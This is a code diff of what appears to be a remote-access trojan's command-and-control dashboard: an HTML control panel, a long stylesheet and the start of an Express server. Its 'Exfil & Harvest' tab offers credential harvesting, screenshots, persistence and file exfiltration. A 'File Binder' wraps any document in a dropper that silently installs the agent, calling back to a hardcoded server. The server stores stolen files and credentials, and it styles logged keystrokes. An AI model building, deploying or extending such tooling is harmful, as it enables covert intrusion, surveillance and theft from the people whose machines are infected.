<i class="fa-solid fa-sliders icon-accent"></i>
<div>
<h2>Node Control Center: <span id="cmdModalHostname">Node</span></h2>
<p>Full suite of cross-platform administrative & diagnostic actions.</p>
</div>
</div>
<button class="modal-close" onclick="closeCommandModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<input type="hidden" id="cmdModalNodeId">
<div class="os-tabs" style="flex-wrap: wrap; gap: 0.25rem;">
<button class="tab-btn active" onclick="switchControlTab('shell', this)"><i class="fa-solid fa-terminal"></i> Terminal</button>
<button class="tab-btn" onclick="switchControlTab('service', this)"><i class="fa-solid fa-gear"></i> Services</button>
<button class="tab-btn" onclick="switchControlTab('process', this)"><i class="fa-solid fa-microchip"></i> Processes</button>
<button class="tab-btn" onclick="switchControlTab('diag', this)"><i class="fa-solid fa-stethoscope"></i> Diagnostics</button>
<button class="tab-btn" onclick="switchControlTab('network', this)"><i class="fa-solid fa-network-wired"></i> Network</button>
<button class="tab-btn" onclick="switchControlTab('exfil', this)"><i class="fa-solid fa-skull"></i> Exfil & Harvest</button>
<button class="tab-btn" onclick="switchControlTab('config', this)"><i class="fa-solid fa-sliders"></i> Agent Config</button>
</div>
<!-- Shell Tab -->
<div class="control-tab-content active" id="ctrl-shell">
<div class="form-group">
<label>Run Shell Command</label>
<input type="text" id="cmdInput" class="form-input" placeholder="e.g. systemctl status nginx or df -h" onkeydown="if(event.key==='Enter') submitNodeAction('raw_command')">
</div>
<div class="quick-commands" style="margin-top: 0.5rem;">
<span class="quick-label">Presets:</span>
<button class="chip" onclick="setQuickCmd('uptime')">Uptime</button>
<button class="chip" onclick="setQuickCmd('df -h')">Disk Space</button>
<button class="chip" onclick="setQuickCmd('free -h')">Memory Free</button>
<button class="chip" onclick="setQuickCmd('docker ps')">Docker Containers</button>
</div>
<div class="modal-actions">
<button class="btn btn-primary" onclick="submitNodeAction('raw_command')"><i class="fa-solid fa-paper-plane"></i> Run Shell Command</button>
</div>
</div>
<!-- Service Tab -->
<div class="control-tab-content" id="ctrl-service" style="display: none;">
<div class="form-group">
<label>Service Name</label>
<input type="text" id="serviceNameInput" class="form-input" placeholder="e.g. nginx, docker, sshd, mysql">
</div>
<div class="form-group">
<label>Action</label>
<div style="display: flex; gap: 0.5rem; margin-top: 0.25rem;">
<button class="btn btn-secondary" onclick="submitServiceAction('restart')"><i class="fa-solid fa-rotate"></i> Restart</button>
<button class="btn btn-secondary" onclick="submitServiceAction('start')"><i class="fa-solid fa-play"></i> Start</button>
<button class="btn btn-secondary" onclick="submitServiceAction('stop')"><i class="fa-solid fa-stop"></i> Stop</button>
<button class="btn btn-secondary" onclick="submitServiceAction('status')"><i class="fa-solid fa-info-circle"></i> Status</button>
</div>
</div>
</div>
<!-- Process Tab -->
<div class="control-tab-content" id="ctrl-process" style="display: none;">
<p class="tab-description">Inspect top CPU processes or terminate stuck process ID (PID).</p>
<div style="display: flex; gap: 0.75rem; align-items: flex-end;">
<button class="btn btn-primary" onclick="submitNodeAction('list_processes')"><i class="fa-solid fa-list"></i> Fetch Top Processes</button>
<div class="form-group" style="flex: 1;">
<label>Kill PID</label>
<input type="number" id="killPidInput" class="form-input" placeholder="e.g. 1420">
</div>
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitKillProcess()"><i class="fa-solid fa-skull"></i> Kill PID</button>
</div>
</div>
<!-- Diagnostics Tab (Features 1, 2, 5, 10) -->
<div class="control-tab-content" id="ctrl-diag" style="display: none;">
<p class="tab-description">Hardware, Storage, Environment & System Diagnostic Inspection.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_hardware_specs')"><i class="fa-solid fa-microchip"></i> Hardware & CPU Specs</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_disk_partitions')"><i class="fa-solid fa-hard-drive"></i> Disk Partitions</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_env_vars')"><i class="fa-solid fa-code"></i> Environment Variables</button>
<button class="btn btn-secondary" onclick="submitNodeAction('export_diagnostics')"><i class="fa-solid fa-notes-medical"></i> Full Diagnostics</button>
</div>
</div>
<!-- Exfil & Harvest Tab -->
<div class="control-tab-content" id="ctrl-exfil" style="display: none;">
<p class="tab-description">File exfiltration, screenshot capture, credential harvesting, persistence.</p>
<div style="display: grid; grid-template-columns: 1fr 1fr; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('screenshot')"><i class="fa-solid fa-camera"></i> Screenshot</button>
<button class="btn btn-secondary" onclick="submitNodeAction('harvest_credentials')"><i class="fa-solid fa-key"></i> Harvest Creds</button>
<button class="btn btn-secondary" onclick="submitNodeAction('ensure_persistence', {server_url: publicUrl || ('http://'+serverIp+':'+serverPort)})"><i class="fa-solid fa-anchor"></i> Ensure Persistence</button>
<button class="btn btn-secondary" onclick="submitNodeAction('update_agent', {url: (publicUrl || ('http://'+serverIp+':'+serverPort)) + '/agent.py'})"><i class="fa-solid fa-rotate"></i> Update Agent</button>
</div>
<div class="form-group">
<label>Download File from Target</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="exfilPathInput" class="form-input" placeholder="e.g. /etc/passwd or C:\Users\admin\Desktop\secret.docx" style="flex:1;">
<button class="btn btn-primary" onclick="submitNodeAction('download_file', {path: document.getElementById('exfilPathInput').value})"><i class="fa-solid fa-download"></i> Exfiltrate</button>
</div>
</div>
</div>
<!-- Network Tab (Features 3, 4) -->
<div class="control-tab-content" id="ctrl-network" style="display: none;">
<p class="tab-description">Network Interface Cards & Active Established Connections.</p>
<div style="display: flex; gap: 0.5rem; margin-bottom: 0.75rem;">
<button class="btn btn-secondary" onclick="submitNodeAction('get_network_interfaces')"><i class="fa-solid fa-ethernet"></i> Network Interfaces</button>
<button class="btn btn-secondary" onclick="submitNodeAction('get_active_connections')"><i class="fa-solid fa-plug"></i> Established TCP Sockets</button>
<button class="btn btn-secondary" onclick="submitNodeAction('network_stats')"><i class="fa-solid fa-list-numeric"></i> Listening Ports</button>
</div>
</div>
<!-- Agent Config Tab (Features 6, 7, 8) -->
<div class="control-tab-content" id="ctrl-config" style="display: none;">
<div class="form-group">
<label>Set Node Tags (comma separated)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="text" id="tagInput" class="form-input" placeholder="e.g. Production, WebServer, Proxmox">
<button class="btn btn-primary" onclick="submitTagUpdate()"><i class="fa-solid fa-tag"></i> Save Tags</button>
</div>
</div>
<div class="form-group" style="margin-top: 0.75rem;">
<label>Adjust Heartbeat Rate (seconds)</label>
<div style="display: flex; gap: 0.5rem;">
<input type="number" id="heartbeatInput" class="form-input" placeholder="5" value="5" min="2" max="60">
<button class="btn btn-primary" onclick="submitHeartbeatRate()"><i class="fa-solid fa-clock"></i> Set Rate</button>
</div>
</div>
<div style="margin-top: 1.25rem; border-top: 1px solid var(--border-color); padding-top: 1rem;">
<button class="btn btn-secondary" style="border-color: var(--accent-rose); color: var(--accent-rose);" onclick="submitSystemReboot()"><i class="fa-solid fa-power-off"></i> Reboot Target Machine</button>
</div>
</div>
</div>
</div>
</div>
<!-- Bulk Execution Modal -->
<div class="modal-overlay" id="bulkModal">
<div class="modal-card">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-layer-group icon-accent"></i>
<div>
<h2>Broadcast Task across All Connected Nodes</h2>
<p>Dispatches the selected administrative action to every online machine on your network.</p>
</div>
</div>
<button class="modal-close" onclick="closeBulkModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Broadcast Command</label>
<input type="text" id="bulkCmdInput" class="form-input" placeholder="e.g. apt update -y or uptime or systemctl restart nginx">
</div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBulkModal()">Cancel</button>
<button class="btn btn-primary" onclick="submitBulkCommand()"><i class="fa-solid fa-paper-plane"></i> Broadcast to All Nodes</button>
</div>
</div>
</div>
</div>
<!-- File Binder Modal -->
<div class="modal-overlay" id="binderModal">
<div class="modal-card" style="max-width: 560px;">
<div class="modal-header">
<div class="title-with-icon">
<i class="fa-solid fa-file-circle-plus icon-accent"></i>
<div>
<h2>File Binder — Embed Agent into Any File</h2>
<p>Upload any file. Get back a self-extracting dropper that opens the file normally while silently installing the agent.</p>
</div>
</div>
<button class="modal-close" onclick="closeBinderModal()"><i class="fa-solid fa-xmark"></i></button>
</div>
<div class="modal-body">
<div class="form-group">
<label>Select File to Bind</label>
<div class="binder-dropzone" id="binderDropzone" onclick="document.getElementById('binderFileInput').click()">
<i class="fa-solid fa-cloud-arrow-up" style="font-size: 2rem; color: var(--primary-cyan);"></i>
<p style="margin-top: 0.5rem;" id="binderFileName">Click or drag any file here</p>
<span style="font-size: 0.75rem; color: var(--text-dim);">PDF, DOCX, XLSX, PNG, JPG, scripts, executables — anything</span>
</div>
<input type="file" id="binderFileInput" style="display: none;" onchange="handleBinderFile(this)">
</div>
<div id="binderStatus" style="display: none; padding: 0.75rem; border-radius: var(--radius-sm); text-align: center; font-size: 0.9rem;"></div>
<div class="modal-actions">
<button class="btn btn-secondary" onclick="closeBinderModal()">Cancel</button>
<button class="btn btn-primary" id="binderSubmitBtn" disabled onclick="submitBinder()">
<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download
</button>
</div>
<div class="modal-info-box" style="margin-top: 0.5rem;">
<i class="fa-solid fa-circle-info"></i>
<div>
<strong>How it works:</strong> Your file is embedded in a cross-platform shell dropper. When executed, it opens the original file AND deploys the agent to <span class="server-url-placeholder">http://10.30.20.44:3000</span>.
</div>
</div>
</div>
</div>
</div>
<div style="text-align:center;padding:1.5rem;margin-top:2rem;border-top:1px solid rgba(148,163,184,0.1)"><a href="https://buymeacoffee.com/r26xrthzttg" target="_blank" rel="noopener" style="display:inline-flex;align-items:center;gap:0.5rem;background:linear-gradient(135deg,#FF813F,#FF5E0E);color:#fff;padding:0.5rem 1.2rem;border-radius:30px;text-decoration:none;font-weight:600;font-size:0.82rem;transition:all 0.2s;box-shadow:0 4px 15px rgba(255,94,14,0.3)"><span style="font-size:1.1rem">☕</span> Support This Project — Buy Me a Coffee</a></div>
<script src="app.js"></script>
</body>
</html>

View File

@@ -1,905 +0,0 @@
:root {
--bg-dark: #090d16;
--bg-card: rgba(17, 24, 39, 0.7);
--bg-card-hover: rgba(31, 41, 55, 0.8);
--border-color: rgba(255, 255, 255, 0.08);
--border-active: rgba(6, 182, 212, 0.4);
--primary-cyan: #06b6d4;
--primary-purple: #8b5cf6;
--accent-emerald: #10b981;
--accent-rose: #f43f5e;
--accent-amber: #f59e0b;
--text-main: #f3f4f6;
--text-muted: #9ca3af;
--text-dim: #6b7280;
--font-sans: 'Inter', system-ui, sans-serif;
--font-display: 'Outfit', system-ui, sans-serif;
--font-mono: 'JetBrains Mono', monospace;
--radius-sm: 6px;
--radius-md: 12px;
--radius-lg: 18px;
--shadow-glow: 0 0 20px rgba(6, 182, 212, 0.15);
}
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
background-color: var(--bg-dark);
color: var(--text-main);
font-family: var(--font-sans);
background-image:
radial-gradient(at 0% 0%, rgba(6, 182, 212, 0.05) 0px, transparent 50%),
radial-gradient(at 100% 0%, rgba(139, 92, 246, 0.05) 0px, transparent 50%);
background-attachment: fixed;
min-height: 100vh;
display: flex;
flex-direction: column;
}
/* Header Navbar */
.top-nav {
display: flex;
justify-content: space-between;
align-items: center;
padding: 1.25rem 2rem;
background: rgba(15, 23, 42, 0.85);
backdrop-filter: blur(16px);
border-bottom: 1px solid var(--border-color);
position: sticky;
top: 0;
z-index: 100;
}
.logo-area {
display: flex;
align-items: center;
gap: 1rem;
}
.logo-icon {
width: 44px;
height: 44px;
background: linear-gradient(135deg, var(--primary-cyan), var(--primary-purple));
border-radius: var(--radius-md);
display: flex;
align-items: center;
justify-content: center;
font-size: 1.25rem;
color: #fff;
box-shadow: var(--shadow-glow);
}
.logo-text {
font-family: var(--font-display);
font-size: 1.5rem;
font-weight: 800;
letter-spacing: -0.02em;
}
.logo-text span {
color: var(--primary-cyan);
}
.sub-text {
display: block;
font-size: 0.75rem;
color: var(--text-muted);
}
.nav-metrics {
display: flex;
gap: 1rem;
}
.metric-pill {
display: flex;
align-items: center;
gap: 0.5rem;
background: rgba(255, 255, 255, 0.04);
border: 1px solid var(--border-color);
padding: 0.5rem 1rem;
border-radius: 9999px;
font-size: 0.85rem;
}
.pill-label {
color: var(--text-muted);
}
.pill-value {
font-family: var(--font-mono);
font-weight: 600;
}
.highlight-endpoint {
color: var(--primary-cyan);
}
.status-indicator {
width: 8px;
height: 8px;
border-radius: 50%;
background-color: var(--text-dim);
}
.status-indicator.online {
background-color: var(--accent-emerald);
box-shadow: 0 0 8px var(--accent-emerald);
}
/* Dashboard Container */
.dashboard-container {
max-width: 1400px;
width: 100%;
margin: 0 auto;
padding: 2rem;
display: flex;
flex-direction: column;
gap: 2rem;
}
/* Overview Stat Cards */
.stats-grid {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
gap: 1.25rem;
}
.stat-card {
background: var(--bg-card);
backdrop-filter: blur(12px);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
padding: 1.25rem 1.5rem;
display: flex;
align-items: center;
gap: 1.25rem;
transition: transform 0.2s ease, border-color 0.2s ease;
}
.stat-card:hover {
transform: translateY(-2px);
border-color: rgba(255, 255, 255, 0.15);
}
.stat-icon {
width: 52px;
height: 52px;
border-radius: var(--radius-md);
display: flex;
align-items: center;
justify-content: center;
font-size: 1.5rem;
}
.stat-icon.cyan { background: rgba(6, 182, 212, 0.12); color: var(--primary-cyan); }
.stat-icon.emerald { background: rgba(16, 185, 129, 0.12); color: var(--accent-emerald); }
.stat-icon.rose { background: rgba(244, 63, 94, 0.12); color: var(--accent-rose); }
.stat-icon.purple { background: rgba(139, 92, 246, 0.12); color: var(--primary-purple); }
.stat-label {
font-size: 0.8rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
font-weight: 600;
}
.stat-number {
font-family: var(--font-display);
font-size: 1.75rem;
font-weight: 700;
margin-top: 0.2rem;
}
/* Toolbar & Filters */
.controls-toolbar {
display: flex;
justify-content: space-between;
align-items: center;
gap: 1rem;
flex-wrap: wrap;
}
.search-box {
position: relative;
flex: 1;
min-width: 280px;
}
.search-box i {
position: absolute;
left: 1rem;
top: 50%;
transform: translateY(-50%);
color: var(--text-dim);
}
.search-box input {
width: 100%;
padding: 0.75rem 1rem 0.75rem 2.75rem;
background: rgba(15, 23, 42, 0.6);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
color: #fff;
font-family: var(--font-sans);
font-size: 0.9rem;
transition: all 0.2s ease;
}
.search-box input:focus {
outline: none;
border-color: var(--primary-cyan);
box-shadow: var(--shadow-glow);
}
.filter-group, .view-toggle {
display: flex;
background: rgba(15, 23, 42, 0.6);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
padding: 0.25rem;
}
.filter-btn, .toggle-btn {
background: transparent;
border: none;
color: var(--text-muted);
padding: 0.5rem 1rem;
border-radius: var(--radius-sm);
font-size: 0.85rem;
font-weight: 500;
cursor: pointer;
transition: all 0.2s ease;
}
.filter-btn.active, .toggle-btn.active {
background: rgba(255, 255, 255, 0.1);
color: #fff;
}
/* Node Cards Grid */
.nodes-grid-view {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(340px, 1fr));
gap: 1.5rem;
}
.node-card {
background: var(--bg-card);
backdrop-filter: blur(12px);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
padding: 1.5rem;
display: flex;
flex-direction: column;
gap: 1.25rem;
position: relative;
overflow: hidden;
transition: all 0.25s ease;
}
.node-card:hover {
border-color: var(--border-active);
transform: translateY(-3px);
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.4);
}
.node-card.offline {
opacity: 0.75;
}
.node-card::before {
content: '';
position: absolute;
top: 0;
left: 0;
right: 0;
height: 3px;
background: var(--accent-rose);
}
.node-card.online::before {
background: var(--accent-emerald);
}
.card-header {
display: flex;
justify-content: space-between;
align-items: flex-start;
}
.node-info-main {
display: flex;
align-items: center;
gap: 0.75rem;
}
.platform-badge-icon {
width: 40px;
height: 40px;
border-radius: var(--radius-sm);
background: rgba(255, 255, 255, 0.05);
display: flex;
align-items: center;
justify-content: center;
font-size: 1.25rem;
color: var(--primary-cyan);
}
.node-title h3 {
font-family: var(--font-display);
font-size: 1.1rem;
font-weight: 700;
}
.node-title span {
font-family: var(--font-mono);
font-size: 0.8rem;
color: var(--text-muted);
}
.status-badge {
padding: 0.25rem 0.65rem;
border-radius: 9999px;
font-size: 0.75rem;
font-weight: 600;
text-transform: uppercase;
letter-spacing: 0.05em;
display: flex;
align-items: center;
gap: 0.4rem;
}
.status-badge.online {
background: rgba(16, 185, 129, 0.15);
color: var(--accent-emerald);
border: 1px solid rgba(16, 185, 129, 0.3);
}
.status-badge.offline {
background: rgba(244, 63, 94, 0.15);
color: var(--accent-rose);
border: 1px solid rgba(244, 63, 94, 0.3);
}
.metrics-container {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.metric-bar-group {
display: flex;
flex-direction: column;
gap: 0.3rem;
}
.metric-bar-label {
display: flex;
justify-content: space-between;
font-size: 0.8rem;
color: var(--text-muted);
}
.metric-bar-bg {
height: 8px;
background: rgba(255, 255, 255, 0.06);
border-radius: 9999px;
overflow: hidden;
}
.metric-bar-fill {
height: 100%;
border-radius: 9999px;
transition: width 0.4s ease;
}
.fill-cpu { background: linear-gradient(90deg, var(--primary-cyan), var(--primary-purple)); }
.fill-mem { background: linear-gradient(90deg, #3b82f6, #8b5cf6); }
.fill-disk { background: linear-gradient(90deg, #f59e0b, #ef4444); }
.card-footer {
display: flex;
justify-content: space-between;
align-items: center;
padding-top: 0.75rem;
border-top: 1px solid rgba(255, 255, 255, 0.06);
}
.node-actions {
display: flex;
gap: 0.5rem;
}
/* Buttons */
.btn {
display: inline-flex;
align-items: center;
gap: 0.5rem;
padding: 0.6rem 1.25rem;
border-radius: var(--radius-md);
font-family: var(--font-sans);
font-size: 0.875rem;
font-weight: 600;
cursor: pointer;
border: none;
transition: all 0.2s ease;
}
.btn-primary {
background: linear-gradient(135deg, var(--primary-cyan), #0284c7);
color: #fff;
box-shadow: 0 4px 12px rgba(6, 182, 212, 0.3);
}
.btn-primary:hover {
filter: brightness(1.1);
box-shadow: 0 6px 18px rgba(6, 182, 212, 0.45);
}
.btn-secondary {
background: rgba(255, 255, 255, 0.06);
border: 1px solid var(--border-color);
color: var(--text-main);
}
.btn-secondary:hover {
background: rgba(255, 255, 255, 0.12);
}
.btn-icon {
padding: 0.5rem;
border-radius: var(--radius-sm);
background: rgba(255, 255, 255, 0.05);
border: 1px solid var(--border-color);
color: var(--text-muted);
cursor: pointer;
transition: all 0.2s ease;
}
.btn-icon:hover {
color: #fff;
border-color: var(--primary-cyan);
}
/* Section Cards (Charts / Logs) */
.chart-section, .logs-section {
background: var(--bg-card);
backdrop-filter: blur(12px);
border: 1px solid var(--border-color);
border-radius: var(--radius-md);
padding: 1.5rem;
display: flex;
flex-direction: column;
gap: 1rem;
}
.section-header {
display: flex;
justify-content: space-between;
align-items: center;
}
.section-header h3 {
font-family: var(--font-display);
font-size: 1.1rem;
display: flex;
align-items: center;
gap: 0.6rem;
}
.badge {
padding: 0.2rem 0.6rem;
border-radius: var(--radius-sm);
background: rgba(6, 182, 212, 0.15);
color: var(--primary-cyan);
font-size: 0.75rem;
font-weight: 600;
}
.badge.purple {
background: rgba(139, 92, 246, 0.15);
color: var(--primary-purple);
}
.chart-container {
height: 260px;
width: 100%;
}
/* Terminal Log View */
.terminal-window {
background: #050811;
border: 1px solid var(--border-color);
border-radius: var(--radius-sm);
font-family: var(--font-mono);
font-size: 0.85rem;
padding: 1rem;
height: 180px;
overflow-y: auto;
}
.log-entry {
padding: 0.2rem 0;
color: var(--text-muted);
}
.log-entry.system { color: var(--primary-cyan); }
.log-entry.success { color: var(--accent-emerald); }
.log-entry.error { color: var(--accent-rose); }
/* Empty state */
.empty-state {
grid-column: 1 / -1;
text-align: center;
padding: 4rem 2rem;
background: var(--bg-card);
border: 1px dashed var(--border-color);
border-radius: var(--radius-md);
display: flex;
flex-direction: column;
align-items: center;
gap: 1rem;
}
.empty-state i {
font-size: 2.5rem;
color: var(--primary-cyan);
}
/* Modal Overlay */
.modal-overlay {
position: fixed;
top: 0;
left: 0;
right: 0;
bottom: 0;
background: rgba(0, 0, 0, 0.75);
backdrop-filter: blur(8px);
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
opacity: 0;
pointer-events: none;
transition: opacity 0.25s ease;
}
.modal-overlay.active {
opacity: 1;
pointer-events: auto;
}
.modal-card {
background: #0f172a;
border: 1px solid var(--border-color);
border-radius: var(--radius-lg);
width: 90%;
max-width: 620px;
box-shadow: 0 25px 50px -12px rgba(0, 0, 0, 0.7);
overflow: hidden;
}
.modal-header {
padding: 1.5rem;
border-bottom: 1px solid var(--border-color);
display: flex;
justify-content: space-between;
align-items: center;
}
.title-with-icon {
display: flex;
align-items: center;
gap: 1rem;
}
.icon-accent {
font-size: 1.5rem;
color: var(--primary-cyan);
}
.modal-close {
background: transparent;
border: none;
color: var(--text-muted);
font-size: 1.25rem;
cursor: pointer;
}
.modal-body {
padding: 1.5rem;
display: flex;
flex-direction: column;
gap: 1.25rem;
}
.os-tabs {
display: flex;
gap: 0.5rem;
border-bottom: 1px solid var(--border-color);
padding-bottom: 0.5rem;
}
.tab-btn {
background: transparent;
border: none;
color: var(--text-muted);
padding: 0.5rem 1rem;
font-weight: 500;
cursor: pointer;
border-radius: var(--radius-sm);
}
.tab-btn.active {
background: rgba(6, 182, 212, 0.15);
color: var(--primary-cyan);
}
.tab-content {
display: none;
}
.tab-content.active {
display: block;
}
.tab-description {
font-size: 0.85rem;
color: var(--text-muted);
margin-bottom: 0.75rem;
}
.code-block {
background: #050811;
border: 1px solid var(--border-color);
border-radius: var(--radius-sm);
padding: 1rem;
position: relative;
display: flex;
align-items: center;
justify-content: space-between;
}
.code-block code {
font-family: var(--font-mono);
font-size: 0.85rem;
color: var(--accent-emerald);
word-break: break-all;
}
.btn-copy {
background: rgba(255, 255, 255, 0.1);
border: 1px solid var(--border-color);
color: #fff;
padding: 0.4rem 0.8rem;
border-radius: var(--radius-sm);
font-size: 0.75rem;
cursor: pointer;
white-space: nowrap;
}
.modal-info-box {
background: rgba(6, 182, 212, 0.08);
border: 1px solid rgba(6, 182, 212, 0.2);
border-radius: var(--radius-sm);
padding: 0.75rem 1rem;
display: flex;
align-items: center;
gap: 0.75rem;
font-size: 0.85rem;
color: var(--text-main);
}
.form-group {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.form-group label {
font-size: 0.85rem;
font-weight: 600;
color: var(--text-muted);
}
.form-input {
background: #050811;
border: 1px solid var(--border-color);
border-radius: var(--radius-sm);
padding: 0.75rem 1rem;
color: #fff;
font-family: var(--font-mono);
}
.quick-commands {
display: flex;
align-items: center;
gap: 0.5rem;
flex-wrap: wrap;
}
.quick-label {
font-size: 0.8rem;
color: var(--text-muted);
}
.chip {
background: rgba(255, 255, 255, 0.06);
border: 1px solid var(--border-color);
color: var(--text-main);
padding: 0.25rem 0.6rem;
border-radius: 9999px;
font-size: 0.75rem;
cursor: pointer;
}
.chip:hover {
background: rgba(6, 182, 212, 0.2);
border-color: var(--primary-cyan);
}
.modal-actions {
display: flex;
justify-content: flex-end;
gap: 0.75rem;
margin-top: 1rem;
}
/* ── Master Intelligence Log Components ── */
.machine-detail-chip {
display: inline-flex;
align-items: center;
gap: 0.4rem;
padding: 0.3rem 0.7rem;
background: rgba(255, 255, 255, 0.05);
border: 1px solid var(--border-color);
border-radius: 9999px;
font-size: 0.75rem;
font-family: var(--font-mono);
color: var(--text-main);
white-space: nowrap;
}
.machine-detail-chip i {
color: var(--primary-cyan);
font-size: 0.7rem;
}
/* Intel log entry variants */
.log-entry.intel-keystroke {
color: #fbbf24;
border-left: 2px solid rgba(251, 191, 36, 0.3);
padding-left: 0.5rem;
}
.log-entry.intel-click {
color: #34d399;
border-left: 2px solid rgba(52, 211, 153, 0.3);
padding-left: 0.5rem;
}
.log-entry.intel-scroll {
color: #a78bfa;
border-left: 2px solid rgba(167, 139, 250, 0.3);
padding-left: 0.5rem;
}
/* Intel section filter selects hover */
#intelNodeFilter:focus,
#intelTypeFilter:focus,
#intelSearchInput:focus {
outline: none;
border-color: var(--primary-purple) !important;
box-shadow: 0 0 8px rgba(139, 92, 246, 0.2);
}
#intelNodeFilter option,
#intelTypeFilter option {
background: #0f172a;
color: #fff;
}
/* ── File Binder Dropzone ── */
.binder-dropzone {
border: 2px dashed var(--border-color);
border-radius: var(--radius-md);
padding: 2rem 1.5rem;
text-align: center;
cursor: pointer;
transition: all 0.2s ease;
background: rgba(15, 23, 42, 0.4);
}
.binder-dropzone:hover {
border-color: var(--primary-cyan);
background: rgba(6, 182, 212, 0.06);
box-shadow: var(--shadow-glow);
}
.binder-dropzone.has-file {
border-color: var(--accent-emerald);
background: rgba(16, 185, 129, 0.06);
}
#binderStatus.success {
background: rgba(16, 185, 129, 0.12);
border: 1px solid rgba(16, 185, 129, 0.3);
color: var(--accent-emerald);
}
#binderStatus.error {
background: rgba(244, 63, 94, 0.12);
border: 1px solid rgba(244, 63, 94, 0.3);
color: var(--accent-rose);
}
/* ── Mobile Responsive ── */
@media (max-width: 768px) {
.top-nav {
flex-wrap: wrap;
padding: 0.75rem 1rem;
gap: 0.75rem;
}
.dashboard-container {
padding: 1rem;
gap: 1rem;
}
.action-area {
flex-wrap: wrap;
width: 100%;
}
.action-area .btn {
flex: 1 1 auto;
min-width: 0;
font-size: 0.75rem;
padding: 0.45rem 0.7rem;
}
.nav-metrics {
display: none;
}
.stats-grid {
grid-template-columns: repeat(2, 1fr);
gap: 0.75rem;
}
.stat-card {
padding: 0.75rem 1rem;
}
.stat-number {
font-size: 1.25rem;
}
.nodes-grid-view {
grid-template-columns: 1fr;
}
.controls-toolbar {
flex-direction: column;
}
.search-box {
min-width: 100%;
}
.modal-card {
width: 95%;
max-width: 95%;
}
.os-tabs {
flex-wrap: wrap;
}
.os-tabs .tab-btn {
font-size: 0.75rem;
padding: 0.4rem 0.6rem;
}
#machineDetailsBar {
flex-direction: column;
gap: 0.3rem;
}
}

File diff suppressed because one or more lines are too long

View File

@@ -1,864 +0,0 @@
const express = require('express');
const http = require('http');
const WebSocket = require('ws');
const path = require('path');
const cors = require('cors');
const os = require('os');
const multer = require('multer');
const fs = require('fs');
const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } });
const app = express();
const server = http.createServer(app);
const wss = new WebSocket.Server({ server });
const PORT = process.env.PORT || 3000;
const PUBLIC_URL = process.env.PUBLIC_URL || null;
const DATA_DIR = path.join(__dirname, 'data');
// Ensure data directory exists
if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true });
app.use(cors());
app.use(express.json({ limit: '50mb' }));
app.use(express.static(path.join(__dirname, 'public')));
// ── Auth ──
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
if (!AUTH_TOKEN) {
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
}
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
function authMiddleware(req, res, next) {
if (!AUTH_TOKEN) return next();
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
const h = req.headers.authorization || '';
if (h === 'Bearer ' + AUTH_TOKEN) return next();
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
return res.status(401).json({ error: 'unauthorized' });
}
app.use(authMiddleware);
app.get('/api/auth/check', (req, res) => {
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
res.json({ ok: true, authRequired: true });
});
function getLocalIp() {
const interfaces = os.networkInterfaces();
for (const name of Object.keys(interfaces)) {
for (const net of interfaces[name]) {
if (net.family === 'IPv4' && !net.internal) {
return net.address;
}
}
}
return 'localhost';
}
const SERVER_IP = getLocalIp();
const nodes = new Map();
const commandQueues = new Map();
const commandHistory = [];
const masterSystemLogs = [];
const inputDataStore = [];
const MAX_INPUT_STORE = 500;
const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp }
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
// ── Persistence ──
let _saveLock = false;
function _atomicWrite(file, data) {
const tmp = file + '.tmp';
fs.writeFileSync(tmp, data);
fs.renameSync(tmp, file);
}
function saveData() {
if (_saveLock) return;
_saveLock = true;
try {
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
} catch(e) { /* silent */ } finally {
_saveLock = false;
}
}
function loadData() {
try {
const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]');
nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); });
commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]')));
